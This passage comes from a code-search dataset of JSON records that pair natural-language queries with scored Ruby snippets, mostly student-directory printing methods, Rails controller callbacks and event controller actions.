20. Runnan Tina Zhong\n 21. Mark deGroat\n\n HEREDOC\nend", "title": "" }, { "docid": "3b1a8c065e15b120cc94dc0d5e642082", "score": "0.67651254", "text": "def print_footer\n puts \"The list is empty as no data was added by user!\\nIf you have saved students data previously enter '4' to retrieve them.\" if @students.empty?\n puts \"Overall, we have #{@students.count} great student#{'s' if @students.count > 1}!\".center(@width) if !@students.empty?\nend", "title": "" }, { "docid": "54adfb3e7122957a564a6763a554b59d", "score": "0.6759408", "text": "def print_header\n puts \"The students of my cohort at Makers Academy\"\n puts \"-------------------------------------------\"\nend", "title": "" }, { "docid": "efc06a144afbcccb9c0c24cabb4bc581", "score": "0.67581785", "text": "def print_header\n # If list has no names, method returns nothing\n if @students.length > 0\n puts \"\\nThe students of our Villain's Academy as defined by you, me and Dupree\"\n puts \"-------------\"\n else\n puts \"No students in this years cohort, sorry and goodbye\"\n end\nend", "title": "" }, { "docid": "a16690041285798c91cc40614f6acb03", "score": "0.67536205", "text": "def print_student_list\n\t@students.each_with_index do |student, index|\n\t\tputs \"#{index + 1}. #{student[:name]} (#{student[:cohort]} cohort).\".center(100)\n\tend\nend", "title": "" }, { "docid": "550f4ff3fcf74d1c08ca3202b8df5ef6", "score": "0.67472017", "text": "def print_one_student\n if @students.length == 0\n no_students\n else\n print_header(\"Please select a student from the current list:\")\n print_students_list\n puts\n selection = STDIN.gets.chomp.to_i\n idx = selection - 1\n puts\n puts \"Student: #{@students[idx][:name]}\"\n puts \"Cohort: #{@students[idx][:cohort]}\"\n if @students[idx][:hobbies].is_a?(Array)\n puts \"Hobbies: #{@students[idx][:hobbies].join(\", \")}\"\n else\n puts \"Hobbies: #{@students[idx][:hobbies]}\"\n end\n puts \"Country of Birth: #{@students[idx][:country]}\"\n puts \"Height: #{@students[idx][:height]}\"\n end\nend", "title": "" }, { "docid": "857457820adf8c9b5ed65f94520e3d12", "score": "0.6745584", "text": "def print_student_list()\n\t@students.each.with_index(1) do |student, index|\n\t\tputs \"#{index}. #{student[:name]} - #{student[:cohort]} cohort, hobbies: #{student[:hobbies]}\"\n\tend\nend", "title": "" }, { "docid": "144de7289c138968de78e2c96b4a7a4a", "score": "0.6743648", "text": "def print_footer\n puts \"#{@students.count} amazing student#{if (@students.count) > 1 then \"s\" end} attend#{if (@students.count) == 1 then \"s\" end} our academy <3\\n\".center($line_width)\nend", "title": "" }, { "docid": "9350af33221973c040868c520e3971cf", "score": "0.6741679", "text": "def print_footer(students)\n s = \"\" #empty variable s\n @students.length == 1 ? s = \"\" : s =\"s\" #if 1 student, s = blank\n puts \"--------------\"\n puts \"Overall, we have #{@students.length} great student#{s}\"\nend", "title": "" }, { "docid": "94692fc9a17c297f7d7ec990b846e9c2", "score": "0.6740326", "text": "def print_students(students)\n students.each { |student| puts \"#{student[:name]} (#{student[:cohort]} cohort)\"}\nend", "title": "" } ]
f74c29bdfc4a183e1ec1b91334cd5be2
Use callbacks to share common setup or constraints between actions.
[ { "docid": "a112e25120e5e8457d2fd7abafdb955a", "score": "0.0", "text": "def set_expenditure_management\n @expenditure_management = Qualityofexpenditure.find(params[:id])\n end", "title": "" } ]
[ { "docid": "631f4c5b12b423b76503e18a9a606ec3", "score": "0.6032574", "text": "def process_action(...)\n run_callbacks(:process_action) do\n super\n end\n end", "title": "" }, { "docid": "7b068b9055c4e7643d4910e8e694ecdc", "score": "0.6015663", "text": "def on_setup_callbacks; end", "title": "" }, { "docid": "311e95e92009c313c8afd74317018994", "score": "0.59219843", "text": "def setup_actions\n domain = @apps.domain\n path_user = '/a/feeds/'+domain+'/user/2.0'\n path_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n path_email_list = '/a/feeds/'+domain+'/emailList/2.0'\n path_group = '/a/feeds/group/2.0/'+domain\n\n @apps.register_action(:domain_login, {:method => 'POST', :path => '/accounts/ClientLogin' })\n @apps.register_action(:user_create, { :method => 'POST', :path => path_user })\n @apps.register_action(:user_retrieve, { :method => 'GET', :path => path_user+'/' })\n @apps.register_action(:user_retrieve_all, { :method => 'GET', :path => path_user })\n @apps.register_action(:user_update, { :method => 'PUT', :path => path_user +'/' })\n @apps.register_action(:user_delete, { :method => 'DELETE', :path => path_user +'/' })\n @apps.register_action(:nickname_create, { :method => 'POST', :path =>path_nickname })\n @apps.register_action(:nickname_retrieve, { :method => 'GET', :path =>path_nickname+'/' })\n @apps.register_action(:nickname_retrieve_all_for_user, { :method => 'GET', :path =>path_nickname+'?username=' })\n @apps.register_action(:nickname_retrieve_all_in_domain, { :method => 'GET', :path =>path_nickname })\n @apps.register_action(:nickname_delete, { :method => 'DELETE', :path =>path_nickname+'/' })\n @apps.register_action(:group_create, { :method => 'POST', :path => path_group })\n @apps.register_action(:group_update, { :method => 'PUT', :path => path_group })\n @apps.register_action(:group_retrieve, { :method => 'GET', :path => path_group })\n @apps.register_action(:group_delete, { :method => 'DELETE', :path => path_group })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>'' })\n end", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.59141374", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "8315debee821f8bfc9718d31b654d2de", "score": "0.59141374", "text": "def initialize(*args)\n super\n @action = :setup\nend", "title": "" }, { "docid": "bfea4d21895187a799525503ef403d16", "score": "0.58976305", "text": "def define_action_helpers\n super\n define_validation_hook if runs_validations_on_action?\n end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58890367", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58890367", "text": "def actions; end", "title": "" }, { "docid": "801bc998964ea17eb98ed4c3e067b1df", "score": "0.58890367", "text": "def actions; end", "title": "" }, { "docid": "352de4abc4d2d9a1df203735ef5f0b86", "score": "0.5888804", "text": "def required_action\n # TODO: implement\n end", "title": "" }, { "docid": "8713cb2364ff3f2018b0d52ab32dbf37", "score": "0.58762443", "text": "def define_action_helpers\n if action == :save\n if super(:create_or_update)\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n else\n super\n end\n end", "title": "" }, { "docid": "a80b33627067efa06c6204bee0f5890e", "score": "0.58622783", "text": "def actions\n\n end", "title": "" }, { "docid": "930a930e57ae15f432a627a277647f2e", "score": "0.5809543", "text": "def setup_actions\n domain = @apps.domain\n path_base = '/a/feeds/emailsettings/2.0/'+domain+'/'\n\n @apps.register_action(:create_label, {:method => 'POST', :path => path_base })\n @apps.register_action(:create_filter, { :method => 'POST', :path => path_base })\n @apps.register_action(:create_send_as, { :method => 'POST', :path => path_base })\n @apps.register_action(:update_webclip, { :method => 'PUT', :path => path_base })\n @apps.register_action(:update_forward, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_pop, { :method => 'PUT', :path => path_base })\n @apps.register_action(:set_imap, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_vacation, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_signature, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_language, { :method => 'PUT', :path =>path_base })\n @apps.register_action(:set_general, { :method => 'PUT', :path =>path_base })\n\n # special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n @apps.register_action(:next, {:method => 'GET', :path =>nil })\n end", "title": "" }, { "docid": "33ff963edc7c4c98d1b90e341e7c5d61", "score": "0.5739154", "text": "def setup\n common_setup\n end", "title": "" }, { "docid": "a5ca4679d7b3eab70d3386a5dbaf27e1", "score": "0.5730308", "text": "def perform_setup\n end", "title": "" }, { "docid": "ec7554018a9b404d942fc0a910ed95d9", "score": "0.5716412", "text": "def before_setup(&block)\n pre_setup_actions.unshift block\n end", "title": "" }, { "docid": "9c186951c13b270d232086de9c19c45b", "score": "0.5703048", "text": "def callbacks; end", "title": "" }, { "docid": "c85b0efcd2c46a181a229078d8efb4de", "score": "0.5692339", "text": "def custom_setup\n\n end", "title": "" }, { "docid": "100180fa74cf156333d506496717f587", "score": "0.56683415", "text": "def do_setup\n\t\tget_validation\n\t\tprocess_options\n\tend", "title": "" }, { "docid": "2198a9876a6ec535e7dcf0fd476b092f", "score": "0.5651343", "text": "def initial_action; end", "title": "" }, { "docid": "b9b75a9e2eab9d7629c38782c0f3b40b", "score": "0.5649526", "text": "def setup_intent; end", "title": "" }, { "docid": "471d64903a08e207b57689c9fbae0cf9", "score": "0.5637351", "text": "def setup_controllers &proc\n @global_setup = proc\n self\n end", "title": "" }, { "docid": "468d85305e6de5748477545f889925a7", "score": "0.5625094", "text": "def inner_action; end", "title": "" }, { "docid": "bb445e7cc46faa4197184b08218d1c6d", "score": "0.56081706", "text": "def pre_action\n # Override this if necessary.\n end", "title": "" }, { "docid": "432f1678bb85edabcf1f6d7150009703", "score": "0.5598399", "text": "def target_callbacks() = commands", "title": "" }, { "docid": "48804b0fa534b64e7885b90cf11bff31", "score": "0.55983305", "text": "def execute_callbacks; end", "title": "" }, { "docid": "5aab98e3f069a87e5ebe77b170eab5b9", "score": "0.5589034", "text": "def api_action!(*args)\n type = self.class.name.split(\"::\").last.downcase\n run_callbacks_for([\"before_#{type}\", :before], *args)\n result = nil\n begin\n result = yield if block_given?\n run_callbacks_for([\"after_#{type}\", :after], *args)\n result\n rescue => err\n run_callbacks_for([\"failed_#{type}\", :failed], *(args + [err]))\n raise\n end\n end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.55590636", "text": "def global_callbacks; end", "title": "" }, { "docid": "9efbca664902d80a451ef6cff0334fe2", "score": "0.55590636", "text": "def global_callbacks; end", "title": "" }, { "docid": "482481e8cf2720193f1cdcf32ad1c31c", "score": "0.5508606", "text": "def required_keys(action)\n\n end", "title": "" }, { "docid": "353fd7d7cf28caafe16d2234bfbd3d16", "score": "0.5503641", "text": "def assign_default_callbacks(action_name, is_member=false)\n if ResourceController::DEFAULT_ACTIONS.include?(action_name)\n DefaultActions.send(action_name, self)\n elsif is_member\n send(action_name).build { load_object }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => object }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { render :xml => object.errors }\n else\n send(action_name).build { load_collection }\n send(action_name).wants.html\n send(action_name).wants.xml { render :xml => collection }\n send(action_name).failure.flash \"Request failed\"\n send(action_name).failure.wants.html\n send(action_name).failure.wants.xml { head 500 }\n end\n end", "title": "" }, { "docid": "2f6ef0a1ebe74f4d79ef0fb81af59d40", "score": "0.5466762", "text": "def on_setup(&block); end", "title": "" }, { "docid": "dcf95c552669536111d95309d8f4aafd", "score": "0.5465908", "text": "def layout_actions\n \n end", "title": "" }, { "docid": "8ab2a5ea108f779c746016b6f4a7c4a8", "score": "0.5448214", "text": "def testCase_001\n test_case_title # fw3_actions.rb\n setup # fw3_global_methods.rb\n \n get_page_url # fw3_actions.rb\n validate_page_title # fw3_actions.rb\n validate_page_link_set # fw3_actions.rb\n \n teardown # fw3_global_methods.rb\nend", "title": "" }, { "docid": "e3aadf41537d03bd18cf63a3653e05aa", "score": "0.54452825", "text": "def before(action)\n invoke_callbacks *options_for(action).before\n end", "title": "" }, { "docid": "6bd37bc223849096c6ea81aeb34c207e", "score": "0.543952", "text": "def post_setup\n end", "title": "" }, { "docid": "07fd9aded4aa07cbbba2a60fda726efe", "score": "0.5416739", "text": "def testCase_001\n testTitle # fw2_actions.rb\n setup # fw2_global_methods.rb\n get_page_url # fw2_actions.rb\n validate_title # fw2_actions.rb\n teardown # fw2_global_methods.rb\nend", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.540998", "text": "def action_methods; end", "title": "" }, { "docid": "dbebed3aa889e8b91b949433e5260fb5", "score": "0.540998", "text": "def action_methods; end", "title": "" }, { "docid": "9358208395c0869021020ae39071eccd", "score": "0.5399368", "text": "def post_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5393666", "text": "def before_setup; end", "title": "" }, { "docid": "c5904f93614d08afa38cc3f05f0d2365", "score": "0.5393666", "text": "def before_setup; end", "title": "" }, { "docid": "cb5bad618fb39e01c8ba64257531d610", "score": "0.539238", "text": "def define_model_action(methods,action,default_options={:validate => true})\n default_options.merge!(methods.extract_options!)\n actions = [action,\"#{action}!\".to_sym]\n actions.each do |a|\n define_method(a) do |opts = {}|\n rslt = nil\n options = default_options.merge(opts)\n options[:raise_exception] = a.to_s.match(/\\!$/)\n run_callbacks(action) do\n rslt = run_model_action(methods,options)\n end\n run_after_any\n rslt\n end\n end\n end", "title": "" }, { "docid": "a468b256a999961df3957e843fd9bdf4", "score": "0.53882563", "text": "def _setup\n setup_notification_categories\n setup_intelligent_segments\n end", "title": "" }, { "docid": "f099a8475f369ce73a38d665b6ee6877", "score": "0.53783023", "text": "def action_run\n end", "title": "" }, { "docid": "2c4e5a90aa8efaaa3ed953818a9b30d2", "score": "0.53568405", "text": "def execute(setup)\n @action.call(setup)\n end", "title": "" }, { "docid": "725216eb875e8fa116cd55eac7917421", "score": "0.53475434", "text": "def setup\n @controller.setup\n end", "title": "" }, { "docid": "118932433a8cfef23bb8a921745d6d37", "score": "0.5347053", "text": "def register_action(action); end", "title": "" }, { "docid": "39c39d6fe940796aadbeaef0ce1c360b", "score": "0.53463554", "text": "def setup_phase; end", "title": "" }, { "docid": "bd03e961c8be41f20d057972c496018c", "score": "0.5343945", "text": "def post_setup\n controller.each do |name,ctrl|\n ctrl.post_setup\n end\n end", "title": "" }, { "docid": "c6352e6eaf17cda8c9d2763f0fbfd99d", "score": "0.53414744", "text": "def initial_action=(_arg0); end", "title": "" }, { "docid": "207a668c9bce9906f5ec79b75b4d8ad7", "score": "0.53269625", "text": "def before_setup\n\n end", "title": "" }, { "docid": "669ee5153c4dc8ee81ff32c4cefdd088", "score": "0.53046626", "text": "def ensure_before_and_after; end", "title": "" }, { "docid": "c77ece7b01773fb7f9f9c0f1e8c70332", "score": "0.5285546", "text": "def setup!\n adding_handlers do\n check_arity\n apply_casting\n check_validation\n end\n end", "title": "" }, { "docid": "1e1e48767a7ac23eb33df770784fec61", "score": "0.5281048", "text": "def set_minimum_up_member_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "title": "" }, { "docid": "63a9fc1fb0dc1a7d76ebb63a61ed24d7", "score": "0.52582437", "text": "def define_callbacks(*args)\n if abstract_class\n all_shards.each do |model|\n model.define_callbacks(*args)\n end\n end\n\n super\n end", "title": "" }, { "docid": "4ad1208a9b6d80ab0dd5dccf8157af63", "score": "0.52580667", "text": "def rails_controller_callbacks(&block)\n rails_controller_instance.run_callbacks(:process_action, &block)\n end", "title": "" }, { "docid": "fc88422a7a885bac1df28883547362a7", "score": "0.5249179", "text": "def pre_setup_actions\n @@pre_setup_actions ||= []\n end", "title": "" }, { "docid": "8945e9135e140a6ae6db8d7c3490a645", "score": "0.52446544", "text": "def action_awareness\n if action_aware?\n if !@options.key?(:allow_nil)\n if @required\n @allow_nil = false\n else\n @allow_nil = true\n end\n end\n if as_action != \"create\"\n @required = false\n end\n end\n end", "title": "" }, { "docid": "7b3954deb2995cf68646c7333c15087b", "score": "0.523857", "text": "def after_setup\n end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5236856", "text": "def action; end", "title": "" }, { "docid": "e6d7c691bed78fb0eeb9647503f4a244", "score": "0.5236856", "text": "def action; end", "title": "" }, { "docid": "1dddf3ac307b09142d0ad9ebc9c4dba9", "score": "0.52311945", "text": "def external_action\n raise NotImplementedError\n end", "title": "" }, { "docid": "5772d1543808c2752c186db7ce2c2ad5", "score": "0.52288747", "text": "def actions(state:)\n raise NotImplementedError\n end", "title": "" }, { "docid": "64a6d16e05dd7087024d5170f58dfeae", "score": "0.5223357", "text": "def setup_actions(domain)\n\t\t\tpath_user = '/a/feeds/'+domain+'/user/2.0'\n\t\t\tpath_nickname = '/a/feeds/'+domain+'/nickname/2.0'\n\t\t\tpath_group = '/a/feeds/group/2.0/'+domain # path for Google groups\n\n\t\t\taction = Hash.new\n\t\t\taction[:domain_login] = {:method => 'POST', :path => '/accounts/ClientLogin' }\n\t\t\taction[:user_create] = { :method => 'POST', :path => path_user }\n\t\t\taction[:user_retrieve] = { :method => 'GET', :path => path_user+'/' }\n\t\t\taction[:user_retrieve_all] = { :method => 'GET', :path => path_user } \n\t\t\taction[:user_update] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_rename] = { :method => 'PUT', :path => path_user +'/' }\n\t\t\taction[:user_delete] = { :method => 'DELETE', :path => path_user +'/' }\n\t\t\taction[:nickname_create] = { :method => 'POST', :path =>path_nickname }\n\t\t\taction[:nickname_retrieve] = { :method => 'GET', :path =>path_nickname+'/' }\n\t\t\taction[:nickname_retrieve_all_for_user] = { :method => 'GET', :path =>path_nickname+'?username=' }\n\t\t\taction[:nickname_retrieve_all_in_domain] = { :method => 'GET', :path =>path_nickname }\n\t\t\taction[:nickname_delete] = { :method => 'DELETE', :path =>path_nickname+'/' }\n\t\t\taction[:group_create] = { :method => 'POST', :path =>path_group }\n\t\t\taction[:group_update] = { :method => 'PUT', :path =>path_group+'/' }\n\t\t\taction[:group_delete] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:groups_retrieve] = { :method => 'GET', :path =>path_group+'?member=' }\n\t\t\taction[:all_groups_retrieve] = { :method => 'GET', :path =>path_group }\n\t\t\taction[:membership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:membership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:membership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_members_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:ownership_add] = { :method => 'POST', :path =>path_group+'/' }\n\t\t\taction[:ownership_remove] = { :method => 'DELETE', :path =>path_group+'/' }\n\t\t\taction[:ownership_confirm] = { :method => 'GET', :path =>path_group+'/' }\n\t\t\taction[:all_owners_retrieve] = { :method => 'GET', :path =>path_group+'/' }\n\t\n\t\t\t# special action \"next\" for linked feed results. :path will be affected with URL received in a link tag.\n\t\t\taction[:next] = {:method => 'GET', :path =>nil }\n\t\t\treturn action \t\n\t\tend", "title": "" }, { "docid": "6350959a62aa797b89a21eacb3200e75", "score": "0.52224743", "text": "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "title": "" }, { "docid": "db0cb7d7727f626ba2dca5bc72cea5a6", "score": "0.52201444", "text": "def process_params\n set_params_authable if process_params_authable?\n set_params_ownerable if process_params_ownerable?\n set_params_sub_action\n end", "title": "" }, { "docid": "8d7ed2ff3920c2016c75f4f9d8b5a870", "score": "0.52142954", "text": "def pick_action; end", "title": "" }, { "docid": "7bbfb366d2ee170c855b1d0141bfc2a3", "score": "0.52137226", "text": "def proceed_with(action, *arguments)\n self.class.decouplings.each do |decoupler|\n decoupler.run_on(self, action, *arguments)\n end\n end", "title": "" }, { "docid": "78ecc6a2dfbf08166a7a1360bc9c35ef", "score": "0.52085507", "text": "def define_action_helpers\n if action_hook\n @action_hook_defined = true\n define_action_hook\n end\n end", "title": "" }, { "docid": "2aba2d3187e01346918a6557230603c7", "score": "0.5206211", "text": "def ac_action(&blk)\n @action = blk\n end", "title": "" }, { "docid": "6a98e12d6f15af80f63556fcdd01e472", "score": "0.5204376", "text": "def perform_setup\n ## Run global setup before example\n Alfred.configuration.setup.each do |setup|\n @request.perform_setup(&setup)\n end\n\n ## Run setup blocks for scenario\n setups.each { |setup| @request.perform_setup(&setup) }\n end", "title": "" }, { "docid": "4c23552739b40c7886414af61210d31c", "score": "0.52038896", "text": "def execute_pre_setup_actions(test_instance,runner=nil)\n self.class.pre_setup_actions.each do |action|\n action.call test_instance\n end\n end", "title": "" }, { "docid": "d56f4ec734e3f3bc1ad913b36ff86130", "score": "0.52029234", "text": "def create_setup\n \n end", "title": "" }, { "docid": "691d5a5bcefbef8c08db61094691627c", "score": "0.5200697", "text": "def performed(action)\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.5197009", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "ad33138fb4bd42d9785a8f84821bfd88", "score": "0.5197009", "text": "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "title": "" }, { "docid": "7fca702f2da4dbdc9b39e5107a2ab87d", "score": "0.51938593", "text": "def add_transition_callbacks\n %w(before after).each {|type| owner_class.define_callbacks(\"#{type}_transition_#{attribute}\") }\n end", "title": "" }, { "docid": "063b82c93b47d702ef6bddadb6f0c76e", "score": "0.51789296", "text": "def setup(instance)\n action(:setup, instance)\n end", "title": "" }, { "docid": "9f1f73ee40d23f6b808bb3fbbf6af931", "score": "0.51784116", "text": "def setup( *args )\n\t\t\tself.class.setupMethods.each {|sblock|\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\tend", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51725876", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51725876", "text": "def setup(resources) ; end", "title": "" }, { "docid": "b4f4e1d4dfd31919ab39aecccb9db1d0", "score": "0.51725876", "text": "def setup(resources) ; end", "title": "" }, { "docid": "7a0c9d839516dc9d0014e160b6e625a8", "score": "0.5162988", "text": "def setup(request)\n end", "title": "" }, { "docid": "e441ee807f2820bf3655ff2b7cf397fc", "score": "0.51526964", "text": "def after_setup; end", "title": "" }, { "docid": "1d375c9be726f822b2eb9e2a652f91f6", "score": "0.514453", "text": "def before *actions, &proc\n actions = ['*'] if actions.size == 0\n actions.each { |a| @callbacks[:a][a] = proc }\n end", "title": "" }, { "docid": "c594a0d7b6ae00511d223b0533636c9c", "score": "0.5140928", "text": "def code_action_provider; end", "title": "" }, { "docid": "faddd70d9fef5c9cd1f0d4e673e408b9", "score": "0.51408994", "text": "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "title": "" }, { "docid": "2fcff037e3c18a5eb8d964f8f0a62ebe", "score": "0.5139561", "text": "def setup(params)\n end", "title": "" }, { "docid": "111fd47abd953b35a427ff0b098a800a", "score": "0.5133698", "text": "def setup\n make_notification_owner\n load_superusers\n admin_sets.each do |as|\n @logger.debug \"Attempting to make admin set for #{as}\"\n make_admin_set_from_config(as)\n end\n load_workflows\n everyone_can_deposit_everywhere\n give_superusers_superpowers\n end", "title": "" }, { "docid": "f2ac709e70364fce188bb24e414340ea", "score": "0.51154804", "text": "def setup_defaults\n add_help\n @handler = Cliqr::Util.forward_to_help_handler if @handler.nil? && help? && actions?\n @actions.each(&:setup_defaults)\n end", "title": "" }, { "docid": "3b4fb29fa45f95d436fd3a8987f12de7", "score": "0.5113695", "text": "def setup\n transition_to(:setup)\n end", "title": "" }, { "docid": "4c7a1503a86fb26f1e4b4111925949a2", "score": "0.510964", "text": "def scaffold_setup_helper\n include ScaffoldingExtensions::Helper\n include ScaffoldingExtensions::MerbControllerHelper\n include ScaffoldingExtensions::PrototypeHelper\n include ScaffoldingExtensions::Controller\n include ScaffoldingExtensions::MerbController\n before :scaffold_check_nonidempotent_requests\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5108603", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5108603", "text": "def action\n end", "title": "" }, { "docid": "975ecc8d218b62d480bbe0f6e46e72bb", "score": "0.5108603", "text": "def action\n end", "title": "" }, { "docid": "63849e121dcfb8a1b963f040d0fe3c28", "score": "0.5106174", "text": "def perform_action(action, item)\n if action == :approve\n approve(item.fullid)\n elsif action == :remove\n remove(item.fullid)\n elsif action == :alert\n #perform_alert() check condition alert params and proceed\n else\n #something isn't cool, pass or error \n end\nend", "title": "" }, { "docid": "f04fd745d027fc758dac7a4ca6440871", "score": "0.5104524", "text": "def block_actions options ; end", "title": "" }, { "docid": "0d1c87e5cf08313c959963934383f5ae", "score": "0.50983906", "text": "def on_action(action)\n @action = action\n self\n end", "title": "" }, { "docid": "916d3c71d3a5db831a5910448835ad82", "score": "0.509494", "text": "def do_action(action)\n case action\n when \"a\"\n @user_manager.create_user\n when \"b\"\n @user_manager.delete_user\n when \"c\"\n @user_manager.get_info\n when \"d\"\n @user_manager.list_all_users\n when \"quit\", \"exit\"\n bail\n end\n end", "title": "" }, { "docid": "076c761e1e84b581a65903c7c253aa62", "score": "0.5093076", "text": "def add_callbacks(base); end", "title": "" } ]
c70fffdf12d341bcf1b29d000c3702df
GET /events/1 GET /events/1.json
[ { "docid": "fd4f904f8660fd2a480da2e3cf07a455", "score": "0.0", "text": "def show\n if current_user.is_client? && !@event.approved\n redirect_to events_path\n else\n respond_to do |format|\n format.html\n format.json\n format.pdf do\n return render pdf: \"#{@event.id}_#{@event.name}\",\n template: '/events/show.pdf.erb',\n layout: \"/layouts/pdf.html.erb\",\n redirect_delay: 300,\n disable_javascript: false,\n orientation: 'Landscape',\n encoding: \"UTF-8\",\n margin: { top: 0, bottom: 0, left: 0, right: 0},\n page_size: 'Letter',\n show_as_html: params[:debug].present?,\n locals: {event_decorator: @event_decorator}\n\n # No longer implemented\n # if (@event.report.present? && @event.report.report.present?)\n # send_file Paperclip.io_adapters.for(@event.report.report).path\n # else\n # Delayed::Job.enqueue GeneratePdfJob.new(@event.id, Event.name)\n # redirect_to @event, alert: 'Report Being Generated'\n # end\n end\n end\n end\n end", "title": "" } ]
[ { "docid": "2d5580b43c7c18bcd8a06713fa4be0f1", "score": "0.75926495", "text": "def show\n\t\tevent_id = params[:id]\n\t\tif event_id.present?\n\t\t\t@event = Com::Nbos::Events::Event.active_events.where(:id => event_id)\n\t\t\trender :json => @event\n\t\telse\n\t\t\trender :json => {status: 400, message: \"Bad Request\"}, status: 400\n\t\tend\n\tend", "title": "" }, { "docid": "ef3b9fa4fcf4cc779afcdcc77f6f94b2", "score": "0.7470553", "text": "def show\n @event = Event.find(params[:id])\n render json: @event, status: 200\n end", "title": "" }, { "docid": "a6f17cb2e0c0bf15dafb24e485b6f80d", "score": "0.7444542", "text": "def show\n\t\t@events = Event.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json {render json: @events}\n\t\tend\n\tend", "title": "" }, { "docid": "3b34aa351459656af1ea987c26bdcb1b", "score": "0.744193", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "3b34aa351459656af1ea987c26bdcb1b", "score": "0.744193", "text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "32f1c45b802c8eb963b57bd19c7021bc", "score": "0.74406016", "text": "def show \n @event = Event.find params[:id]\n render json: @event, status: :ok\n end", "title": "" }, { "docid": "59fd8e27453bd20f76931164769ca4a8", "score": "0.74241066", "text": "def show\n @event = Event.find_by(id: params[:id])\n render json: @event\n end", "title": "" }, { "docid": "23b081913c4095ba481ca20c0017c37a", "score": "0.7424073", "text": "def show\n \n @event = Event.find(params[:id])\n \n\n respond_to do |format|\n format.html # events_path\n format.json { render json: events_path }\n end\n end", "title": "" }, { "docid": "470317defe83e35951c6c122d1f185b0", "score": "0.73936605", "text": "def show\n render json: @event, status: 200\n end", "title": "" }, { "docid": "877c162a18ff6baee8f083e383d2ad98", "score": "0.7383787", "text": "def show\n \t@event = Event.find(params[:id])\n \trender json: @event\n \t\n end", "title": "" }, { "docid": "da5a9d883b89e5e96507ec12f9e0aa14", "score": "0.73572993", "text": "def event\n begin\n JSON.parse(@omegle.post('/events', \"id=#{@id}\").body)\n rescue\n end\n end", "title": "" }, { "docid": "39720392e6631a437f629bf51500afb9", "score": "0.73560303", "text": "def show\n render json: @event.to_json, status: 200\n end", "title": "" }, { "docid": "53f346e7133fc3a8dd0297a45e606186", "score": "0.7343874", "text": "def show\n @simple_event = SimpleEvent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @simple_event }\n end\n end", "title": "" }, { "docid": "483079b80dfb97ee802273ad3849fa6b", "score": "0.7329677", "text": "def events\n @page = 'events'\n respond_to do |format|\n format.html {\n @events = Event.find(:all)\n }\n format.json {}\n end\n end", "title": "" }, { "docid": "50fda9b8c4c7883bb7aef1c21d64535d", "score": "0.7296473", "text": "def show\n @event = Event.find(params[:event_id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end", "title": "" }, { "docid": "26631fa7d741f63dc0de4ebc0ce1e053", "score": "0.72901815", "text": "def index\n render json: { \n status: 200, \n events: Event.get_ongoing_events.as_json(\n only: [\n :id, \n :event_name, \n :reward_item, \n 